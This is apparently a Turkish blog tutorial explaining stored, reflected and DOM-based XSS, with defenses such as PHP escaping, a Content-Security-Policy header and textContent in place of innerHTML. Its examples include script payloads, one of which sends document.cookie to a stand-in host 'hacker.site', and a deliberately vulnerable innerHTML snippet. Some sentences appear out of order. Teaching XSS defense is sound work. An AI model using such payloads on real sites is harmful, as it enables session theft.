
Cross-Site Scripting (XSS) saldırıları, web güvenliği açısından en yaygın tehditlerden biridir. Bu saldırılar, kötü niyetli kişilerin web sitelerine zararlı JavaScript kodları eklemesine olanak tanır. Kullanıcı tarayıcıları bu kodları çalıştırdığında hassas bilgiler çalınabilir, kullanıcı oturumları ele geçirilebilir veya kötü amaçlı yönlendirmeler yapılabilir.
Bu yazıda, XSS saldırılarının türlerini ve bunlara karşı nasıl korunabileceğinizi anlatmaya çalışacağım.
Bu kod veritabanına kaydedilir ve sayfa her yüklendiğinde kullanıcıların tarayıcısında çalıştırılır.
Bu kod çalıştırılırsa, kullanıcının oturum çerezi saldırgana gönderilebilir.
Bir saldırgan şu URL’yi paylaşır:
Eğer bu giriş denetlenmeden kullanılırsa, sayfa yüklenirken kötü niyetli kod çalıştırılır.
Bu sayede, yalnızca belirtilen güvenilir kaynaklardan gelen JavaScript kodları çalıştırılabilir.
3️⃣ JavaScript
Birçok XSS saldırısı,
Bu yöntem, girdiyi güvenli bir metin olarak işler ve tarayıcıda çalıştırılmasını engeller.
Bu yöntem, kullanıcı girdilerinin doğrudan HTML’e eklenmesini önler.
XSS saldırıları, web siteleri için ciddi bir tehdit oluşturur. Ancak, doğru güvenlik önlemleri alınarak önlenebilir. Web uygulamalarınızı korumak için:
1. XSS Türleri ve Çalışma Mekanizması
XSS saldırıları üç ana kategoriye ayrılır:1️⃣ Stored (Kalıcı) XSS
- Nasıl çalışır? Kötü amaçlı JavaScript kodu doğrudan bir veritabanına kaydedilir ve daha sonra kullanıcı sayfayı ziyaret ettiğinde çalıştırılır.
- Örnek Senaryo: Bir blog sitesinde yorum alanına şu kod eklenirse:
HTML
<script>alert('XSS saldırısı!');</script>
2️⃣ Reflected (Yansıtılmış) XSS
- Nasıl çalışır? Kullanıcıdan gelen veriyi doğrulamadan sayfada görüntüler.
- Örnek Senaryo: Arama çubuğuna şu kod girildiğinde:
GENEL
<script>document.location='http://hacker.site/steal?cookie=' + document.cookie</script>
3️⃣ DOM-Based XSS
- Nasıl çalışır? JavaScript kodu, sayfanın DOM (Document Object Model) manipülasyonları üzerinden çalıştırılır.
- Örnek Senaryo:
JS
var userInput = location.hash.substring(1);
document.getElementById('content').innerHTML = userInput;
GENEL
https://ornek.com/#<script>alert('Hacked!')</script>
2. XSS Önleme Yöntemleri
XSS saldırılarını engellemek için şu güvenlik önlemlerini uygulayabilirsiniz:1️⃣ Kullanıcı Girdilerini Doğrulayın ve Filtreleyin
Gelen verileri doğrulamak, XSS’e karşı ilk savunma hattıdır. Kullanıcının girdiği HTML veya JavaScript kodlarını filtrelemek gerekir.- 🔒 Güvenli Girdi Filtreleme (PHP ile):
PHP
$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');
- 📌 Bu işlem,
<script>
gibi HTML etiketlerini zararsız hale getirir.
2️⃣ Content Security Policy (CSP) Kullanın
CSP, yalnızca belirli kaynaklardan gelen script’lerin çalıştırılmasına izin verir.- 🔒 CSP Başlığı Örneği:
HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com
3️⃣ JavaScript innerHTML
Kullanımından Kaçının
Birçok XSS saldırısı, innerHTML
gibi DOM manipülasyonlarıyla yapılır. Daha güvenli bir alternatif olarak textContent
kullanın:
JS
document.getElementById('output').textContent = userInput;
4️⃣ Güvenli Doğrulama ve Escape Kullanımı
- 🛡️ Web uygulamalarında verileri HTML, JavaScript ve URL bağlamında escape edin.
- 🔐 Şablon motorları (
Twig
,EJS
,Handlebars.js
) gibi güvenli renderleme sistemleri kullanın.
PHP
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
- ✅ Kullanıcı girdilerini filtreleyin ve doğrulayın.
- ✅ CSP başlıklarını kullanarak kaynakları sınırlandırın.
- ✅ JavaScript’te
innerHTML
yerinetextContent
kullanın. - ✅ Escape işlemleri yaparak tehlikeli karakterleri etkisiz hale getirin.
Benzer Yazılar

Linux Güvenliği
0 Yorumlar

Web Uygulaması Güvenliği - (OWASP Top 10)
0 Yorumlar

Sosyal Mühendislik Saldırıları
0 Yorumlar
Yorumlar ()
Henüz yorum yok. İlk yorum yapan sen ol!